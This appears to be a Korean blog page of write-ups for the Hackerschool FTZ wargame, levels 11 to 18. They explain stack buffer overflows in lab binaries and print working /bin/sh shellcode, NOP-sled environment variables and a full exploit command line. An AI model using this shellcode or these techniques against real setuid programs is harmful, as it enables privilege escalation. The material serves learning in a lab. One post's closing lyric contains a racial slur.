no image
해커스쿨 FTZ level18
level18 [level18@ftz level18]$ cat hint #include #include #include #include void shellout(void); int main() { char string[100]; int check; int x = 0; int count = 0; fd_set fds; printf("Enter your command: "); fflush(stdout); while(1) { if(count >= 100) printf("what are you trying to do?\n"); if(check == 0xdeadbeef) shellout(); else { FD_ZERO(&fds); FD_SET(STDIN_FILENO,&fds); if(select(FD_SETSIZE..
2020.10.29
no image
해커스쿨 FTZ level17
level17 힌트를 확인해보면 이전 문제들과 비슷한 코드를 볼 수 있다. setuid를 설정하고 call() 함수를 실행한다. gdb로 살펴보면 call 함수가 실행되면 eax에 존재하는 주소를 호출한다. 이는 여태까지 풀었던 문제와 비슷하게 해결할 수 있다. level15와 비슷하게 하되, 환경변수는 level11, 12에서 진행했던 것처럼 쉘 코드를 대입한다. 해커스쿨 FTZ level15 level15 힌트를 확인해보면 14번 문제와 비슷하지만, 포인터 변수를 오버플로우 시켜야 한다는 것을 확인할 수 있다. gdb로 살펴봐도 역시 동일하게 56 byte를 할당받아 [ebp-16]을 가져오므로 40byte+a assb.tistory.com 해커스쿨 FTZ level11 level11 문제 화면이다...
2020.09.29
no image
해커스쿨 FTZ level16
level16 힌트를 확인해보면 shell 함수와 printit 함수가 존재한다. 또한 main 함수 실행 시 printit 함수를 실행하게 되는데, 이를 shell 함수를 실행하도록 변경하면 될 것 같다. main 함수를 살펴보면 "0x8048500"을 ebp에 넣었다가, eax에 넣는다. 그리고 그 eax를 실행하게 된다. printit 함수와 shell 함수를 살펴보니 주소값을 확인할 수 있었는데, main에서 다루는 값이 printit의 주소값인 것을 확인할 수 있었다. 이를 shell의 주소값으로 변경해보기로 했다. esp의 값들을 살펴보면 이전과 동일하게 40 byte의 임의의 값이 존재하고, 그 다음 4 byte에 함수의 주소값이 존재했다. gdb에서 40 byte의 임의값과 shell의 주..
2020.09.24
no image
해커스쿨 FTZ level15
level15 힌트를 확인해보면 14번 문제와 비슷하지만, 포인터 변수를 오버플로우 시켜야 한다는 것을 확인할 수 있다. gdb로 살펴봐도 역시 동일하게 56 byte를 할당받아 [ebp-16]을 가져오므로 40byte+a로 오버플로우 시킬 수 있다. 이때 주의깊에 볼 것은 cmp 부분이다. [eax]라고 레지스터가 [] 사이에 둘러싸여 있는데 이는 이 주소값에 있는 값을 가져온다는 의미이다. 따라서 "\xdeadbeed"라는 값을 가진 환경변수를 생성하고, 이 환경변수의 주소값을 오버플로 시켜 check에 대입해야 한다. 환경변수를 만들고 환경변수의 주소값을 프린트하는 프로그램을 생성해 환경변수의 주소값을 확인했다. 위에서 구한 주소값을 임의의 40 byte 뒤에 붙여주면 check 변수가 오버플로우 ..
2020.09.24
no image
해커스쿨 FTZ level14
level14 힌트를 확인해보면 buf는 20 byte인데 45 byte를 입력받고 있다. 또한 check의 값을 확인해 그 값이 "\xdeadbeef"가 되면 level15의 권한으로 쉘을 실행할 수 있다. cmp 명령을 살펴보면 [ebp-16]과 비교하고 있다. 또한 그 위를 살펴보면 [ebp-56]에 fgets 함수로 값을 대입받는 것을 확인할 수 있다. 따라서 56-16인 40만큼 값을 채우고, 그 뒤에"\xdeadbeef"가 들어가게 되면 문제가 해결된다. gdb로 임의의 40 byte와 "\xed\xbe\xad\xbe"를 넣어주니 정상적으로 "\xdeadbeef"가 들어간 것을 확인할 수 있다. 위에서 입력한 값 그대로 입력하고 cat 명령으로 잡아준 뒤 my-pass 명령어를 입력하니 패스워..
2020.09.22
no image
해커스쿨 FTZ level13
level13 먼저 힌트를 확인했다. 여태까지 풀었던 버퍼오버플로우 문제들과 비슷했는데, 한 가지 다른 점은 변수 i를 두어서 그 값이 변하면 버퍼오버플로우 경고를 띄우며 프로그램이 종료되도록 설계되었다. gdb로 프로그램을 살펴보면 총 418 byte(10진수로 1048)만큼 할당하고 마지막 12 byte는 0x1234567로 채운다. 프로그램을 먼저 실행해 어느 부분에서 경고가 발생하는지 확인했는데, 1048에서 12를 뺀 1036 byte의 인자를 넣었을 때는 경고가 발생하고 그보다 작은 1035 byte의 인자를 넣었을 때는 경고가 발생하지 않았다. 다음으로는 gdb에서 1035 byte의 인자를 대입한 후 값이 어떻게 변하는지 확인해보았다. 41으로 값이 채워지며, 마지막에 i의 값인 0x012..
2020.09.22
no image
해커스쿨 FTZ level12
level12 힌트를 확인해보면 11번과 비슷하게 overflow 문제인 것을 확인할 수 있다. gdb로 프로그램을 확인해보면 마찬가지로 272byte인 것을 확인할 수 있다. export GS=`python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 11번과 동일하게 환경변수와 프로그램을 작성하여 환경변수의 주소값을 확인해줬다. (python ~)|./attackme 형식으로 입력하면 파이썬 코드로 입력할 수 있다. 하지만 실행되지 않아서 방법을 찾아보니 cat 명령을 사용하여 프로그램을 잡아두라고 하였다. 그렇게 하여 my..
2020.09.17
no image
해커스쿨 FTZ level11
level11 문제 화면이다. uid를 설정하고 strcpy를 실행한다. strcpy buffer overflow 문제라 구글링하여 방법을 찾아 진행하였다. gdb로 살펴보면 str의 크기를 확인할 수 있다. sub $0x108, %esp에 해당되며 str의 크기는 0x108, 264byte이다. 또한 바로 아래에서 sub $0x8, %esp를 한 번 더 해주는데 이는 주소 값을 저장하기 위한 공간이다. 따라서 str 배열 256byte와 dummy 값 8byte, sfp 4byte, ret 주소 4byte로 총 272byte로 이루어져 있다. * 원래 파일에서 gdb를 실행하면 에러가 나서 tmp 폴더에 복사해서 gdb를 실행했다. \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2..
2020.09.17

level18

 

[level18@ftz level18]$ cat hint

#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;
  printf("Enter your command: ");
  fflush(stdout);
  while(1)
    {
      if(count >= 100)
        printf("what are you trying to do?\n");
      if(check == 0xdeadbeef)
        shellout();
      else
        {
          FD_ZERO(&fds);
          FD_SET(STDIN_FILENO,&fds);

          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
            {
              if(FD_ISSET(fileno(stdin),&fds))
                {
                  read(fileno(stdin),&x,1);
                  switch(x)
                    {
                      case '\r':
                      case '\n':
                        printf("\a");
                        break;
                      case 0x08:
                        count--;
                        printf("\b \b");
                        break;
                      default:
                        string[count] = x;
                        count++;
                        break;
                    }
                }
            }
        }
    }
}

void shellout(void)
{
  setreuid(3099,3099);
  execl("/bin/sh","sh",NULL);
}

 힌트를 확인해보면 다음과 같다. 요약을 해보자면 한 글자씩 입력을 받을 때마다 count를 늘리고, string[count] 명령을 사용해서 값을 대입한다. 또한 0x08이 입력될 경우에는 count의 값을 하나 감소시킨다. 또한 count의 값이 100 이상이면 "what are you trying to do?"라고 출력하고, check가 "0xdeadbeef"일 경우 쉘이 실행되어 문제를 해결 할 수 있다. 

 

 여기서 주의해서 볼 점은 string의 위치이다. 여태까지 bufferoverflow 시킬 변수는 배열보다 먼저 할당이 되었는데, 이번에는 string 배열이 overflow 시킬 check 변수보다 먼저 할당이 되었다.

 

 

 각 변수의 주소를 확인해보았다. 먼저 check 변수의 위치는 0xffffffff98이다. string 변수의 위치는 0xffffff9c이고, count 변수의 위치는 0xffffff90이다. 

 

 즉 변수가 count check string의 순서로 존재한다. 따라서 여태까지 했던 string의 변수를 오버플로우 시켜서 check 변수의 값을 변조시킬 수 없다. 이걸 모르고 삽질을 많이 했었다. 이 문제를 해결하기 위해서는 string[-1] 같은 방식으로 값을 대입해야 한다. check와 string의 주소 차이는 c-8=4 이므로 \x08을 4번 대입해 4를 빼준 후 "\xdeadbeef"를 넣는다. 

 

 이렇게 대입하면 check의 값이 "\xdeadbeef"가 되어서 쉘이 실행된다. 

 

 

 swimming in pink

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar stack1  (0) 2020.10.29
protostar stack0  (0) 2020.10.29
해커스쿨 FTZ level17  (0) 2020.09.29
해커스쿨 FTZ level16  (0) 2020.09.24
해커스쿨 FTZ level15  (0) 2020.09.24

level17

 

 힌트를 확인해보면 이전 문제들과 비슷한 코드를 볼 수 있다. setuid를 설정하고 call() 함수를 실행한다.

 

 gdb로 살펴보면 call 함수가 실행되면 eax에 존재하는 주소를 호출한다. 이는 여태까지 풀었던 문제와 비슷하게 해결할 수 있다. level15와 비슷하게 하되, 환경변수는 level11, 12에서 진행했던 것처럼 쉘 코드를 대입한다. 

 

 

해커스쿨 FTZ level15

level15  힌트를 확인해보면 14번 문제와 비슷하지만, 포인터 변수를 오버플로우 시켜야 한다는 것을 확인할 수 있다.  gdb로 살펴봐도 역시 동일하게 56 byte를 할당받아 [ebp-16]을 가져오므로 40byte+a

assb.tistory.com

 

해커스쿨 FTZ level11

level11  문제 화면이다. uid를 설정하고 strcpy를 실행한다. strcpy buffer overflow 문제라 구글링하여 방법을 찾아 진행하였다.  gdb로 살펴보면 str의 크기를 확인할 수 있다. sub $0x108, %esp에 해당되..

assb.tistory.com

 

 환경변수로 쉘 코드를 작성해준 뒤 그 환경변수의 주소값을 구한다. 

 

 이 주소값을 대입하면 쉘이 setuid로 설정된 권한으로 쉘이 실행되고, 패스워드를 확인할 수 있다. 

 

 

 why did you do it

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar stack0  (0) 2020.10.29
해커스쿨 FTZ level18  (0) 2020.10.29
해커스쿨 FTZ level16  (0) 2020.09.24
해커스쿨 FTZ level15  (0) 2020.09.24
해커스쿨 FTZ level14  (0) 2020.09.22

level16

 

 힌트를 확인해보면 shell 함수와 printit 함수가 존재한다. 또한 main 함수 실행 시 printit 함수를 실행하게 되는데, 이를 shell 함수를 실행하도록 변경하면 될 것 같다. 

 

 main 함수를 살펴보면 "0x8048500"을 ebp에 넣었다가, eax에 넣는다. 그리고 그 eax를 실행하게 된다. 

 

 printit 함수와 shell 함수를 살펴보니 주소값을 확인할 수 있었는데, main에서 다루는 값이 printit의 주소값인 것을 확인할 수 있었다. 이를 shell의 주소값으로 변경해보기로 했다. 

 

 esp의 값들을 살펴보면 이전과 동일하게 40 byte의 임의의 값이 존재하고, 그 다음 4 byte에 함수의 주소값이 존재했다. 

 

 gdb에서 40 byte의 임의값과 shell의 주소값을 인자로 넣어 해당 위치가 쉘 함수의 주소값으로 바뀌는 것을 확인했다. 

 

 

 cat으로 프로그램을 잡아두고 my-pass 명령을 실행하니 패스워드가 출력되었다.

 

 

 

king poetic

728x90

'CTF > 시스템' 카테고리의 다른 글

해커스쿨 FTZ level18  (0) 2020.10.29
해커스쿨 FTZ level17  (0) 2020.09.29
해커스쿨 FTZ level15  (0) 2020.09.24
해커스쿨 FTZ level14  (0) 2020.09.22
해커스쿨 FTZ level13  (0) 2020.09.22

level15

 

 힌트를 확인해보면 14번 문제와 비슷하지만, 포인터 변수를 오버플로우 시켜야 한다는 것을 확인할 수 있다. 

 

 gdb로 살펴봐도 역시 동일하게 56 byte를 할당받아 [ebp-16]을 가져오므로 40byte+a로 오버플로우 시킬 수 있다. 이때 주의깊에 볼 것은 cmp 부분이다. [eax]라고 레지스터가 [] 사이에 둘러싸여 있는데 이는 이 주소값에 있는 값을 가져온다는 의미이다. 따라서 "\xdeadbeed"라는 값을 가진 환경변수를 생성하고, 이 환경변수의 주소값을 오버플로 시켜 check에 대입해야 한다. 

 

 환경변수를 만들고 환경변수의 주소값을 프린트하는 프로그램을 생성해 환경변수의 주소값을 확인했다. 

 

 위에서 구한 주소값을 임의의 40 byte 뒤에 붙여주면 check 변수가 오버플로우 되며 환경변수의 값을 가져오게 된다. cat으로 프로그램이 종료되지 않도록 잡아두고 my-pass 명령어를 사용하면 패스워드를 구할 수 있다. 

 

 

 about to cause mass

 

728x90

'CTF > 시스템' 카테고리의 다른 글

해커스쿨 FTZ level17  (0) 2020.09.29
해커스쿨 FTZ level16  (0) 2020.09.24
해커스쿨 FTZ level14  (0) 2020.09.22
해커스쿨 FTZ level13  (0) 2020.09.22
해커스쿨 FTZ level12  (0) 2020.09.17

level14

 

 힌트를 확인해보면 buf는 20 byte인데 45 byte를 입력받고 있다. 또한 check의 값을 확인해 그 값이 "\xdeadbeef"가 되면 level15의 권한으로 쉘을 실행할 수 있다. 

 

 cmp 명령을 살펴보면 [ebp-16]과 비교하고 있다. 또한 그 위를 살펴보면 [ebp-56]에 fgets 함수로 값을 대입받는 것을 확인할 수 있다. 따라서 56-16인 40만큼 값을 채우고, 그 뒤에"\xdeadbeef"가 들어가게 되면 문제가 해결된다.  

 

 gdb로 임의의 40 byte와 "\xed\xbe\xad\xbe"를 넣어주니 정상적으로 "\xdeadbeef"가 들어간 것을 확인할 수 있다. 

 

 위에서 입력한 값 그대로 입력하고 cat 명령으로 잡아준 뒤 my-pass 명령어를 입력하니 패스워드가 출력됐다. 

 

 

 guess what

 

728x90

'CTF > 시스템' 카테고리의 다른 글

해커스쿨 FTZ level16  (0) 2020.09.24
해커스쿨 FTZ level15  (0) 2020.09.24
해커스쿨 FTZ level13  (0) 2020.09.22
해커스쿨 FTZ level12  (0) 2020.09.17
해커스쿨 FTZ level11  (0) 2020.09.17

level13

 

 먼저 힌트를 확인했다. 여태까지 풀었던 버퍼오버플로우 문제들과 비슷했는데, 한 가지 다른 점은 변수 i를 두어서 그 값이 변하면 버퍼오버플로우 경고를 띄우며 프로그램이 종료되도록 설계되었다. 

 

 gdb로 프로그램을 살펴보면 총 418 byte(10진수로 1048)만큼 할당하고 마지막 12 byte는 0x1234567로 채운다. 

 

 프로그램을 먼저 실행해 어느 부분에서 경고가 발생하는지 확인했는데, 1048에서 12를 뺀 1036 byte의 인자를 넣었을 때는 경고가 발생하고 그보다 작은 1035 byte의 인자를 넣었을 때는 경고가 발생하지 않았다. 

 

 다음으로는 gdb에서 1035 byte의 인자를 대입한 후 값이 어떻게 변하는지 확인해보았다. 

 

 41으로 값이 채워지며, 마지막에 i의 값인 0x01234567이 들어있는 것을 확인할 수 있었다. 

 

 그리고 i 값이 변조되는 것을 막기 위해 "0x01234567"을 대입해주었다. 리틀 앤디안 방식으로 정리해서 대입했는데, 67이 원래 자리가 아니라 그 앞에 붙었다. 

 

 "A"를 1035 byte에서 1036 byte로 늘려주니 정상적으로 값이 들어갔다. 

 

 메모리를 확인했으니 쉘을 실행하기 위해 지난 번과 같이 환경변수를 만들고 그 주소를 찾았다.

 

 

해커스쿨 FTZ level11

level11  문제 화면이다. uid를 설정하고 strcpy를 실행한다. strcpy buffer overflow 문제라 구글링하여 방법을 찾아 진행하였다.  gdb로 살펴보면 str의 크기를 확인할 수 있다. sub $0x108, %esp에 해당되..

assb.tistory.com

 

 i의 값이 변조되지 않도록 1056 byte를 채우고 쉘 주소를 붙여주니 쉘이 실행되어 패스워드를 구할 수 있었다. 

 

 what that nigga want?

 

728x90

'CTF > 시스템' 카테고리의 다른 글

해커스쿨 FTZ level15  (0) 2020.09.24
해커스쿨 FTZ level14  (0) 2020.09.22
해커스쿨 FTZ level12  (0) 2020.09.17
해커스쿨 FTZ level11  (0) 2020.09.17
해커스쿨 FTZ level10  (0) 2020.08.27

level12

 

 힌트를 확인해보면 11번과 비슷하게 overflow 문제인 것을 확인할 수 있다. 

 

 

 gdb로 프로그램을 확인해보면 마찬가지로 272byte인 것을 확인할 수 있다.

 

export GS=`python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 11번과 동일하게 환경변수와 프로그램을 작성하여 환경변수의 주소값을 확인해줬다. 

 

 (python ~)|./attackme 형식으로 입력하면 파이썬 코드로 입력할 수 있다. 하지만 실행되지 않아서 방법을 찾아보니 cat 명령을 사용하여 프로그램을 잡아두라고 하였다. 

 

 그렇게 하여 my-pass 명령을 사용하니 패스워드를 획득할 수 있었다.

 

 

 have no clue

728x90

'CTF > 시스템' 카테고리의 다른 글

해커스쿨 FTZ level14  (0) 2020.09.22
해커스쿨 FTZ level13  (0) 2020.09.22
해커스쿨 FTZ level11  (0) 2020.09.17
해커스쿨 FTZ level10  (0) 2020.08.27
해커스쿨 FTZ level9  (0) 2020.08.27

level11

 

 문제 화면이다. uid를 설정하고 strcpy를 실행한다. strcpy buffer overflow 문제라 구글링하여 방법을 찾아 진행하였다.

 

 

 gdb로 살펴보면 str의 크기를 확인할 수 있다. sub $0x108, %esp에 해당되며 str의 크기는 0x108, 264byte이다. 또한 바로 아래에서 sub $0x8, %esp를 한 번 더 해주는데 이는 주소 값을 저장하기 위한 공간이다. 따라서 str 배열 256byte와 dummy 값 8byte, sfp 4byte, ret 주소 4byte로 총 272byte로 이루어져 있다.

* 원래 파일에서 gdb를 실행하면 에러가 나서 tmp 폴더에 복사해서 gdb를 실행했다. 

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 main+53에 bp를 걸고 프로그램을 실행시켰다. shell 코드는 25byte이므로 ret 4byte와 shell 코드 25byte를 포함해 272byte를 채우기 위해 NOP(\x90)으로 243byte를 채워줬다. 

 

 그리고 값을 확인해보면 위와 같이 채워진 것을 확인할 수 있다. 

 

 따라서 "\x90"*243+(shell 코드)+(ret 주소) 형식으로 값을 넘겨주면 쉘을 실행하여 문제를 해결할 수 있다. 하지만 ret 코드를 구하는데 어려움이 있어서 다른 사람의 라업을 보고 진행하였다. 

 

./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x60\xd9\xff\xbf"'`

 

 쉘을 실행하여 my-pass 명령어를 입력하면 패스워드를 구할 수 있다. 

 

 it is like this

 

 

+

 

참고 사이트: https://choraengyi.tistory.com/51

 

export GS=`python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 환경 변수로 쉘 실행 코드를 작성한다. export|grep (환경변수 이름)으로 확인할 수 있다. 

 

 생성한 환경 변수의 주소 값을 찾는 프로그램을 작성하여 주소 값을 확인한다. 

 

 임의의 값 268byte+확인한 환경변수 주소값을 입력하면 쉘이 실행된다. 위의 방식으로 하면 ret 주소가 계속 변경되어서 계속 시도해야 한다고 했는데, 이 방법으로는 정상적으로 해결되었다. 

 

728x90

'CTF > 시스템' 카테고리의 다른 글

해커스쿨 FTZ level13  (0) 2020.09.22
해커스쿨 FTZ level12  (0) 2020.09.17
해커스쿨 FTZ level10  (0) 2020.08.27
해커스쿨 FTZ level9  (0) 2020.08.27
해커스쿨 FTZ level8  (0) 2020.08.22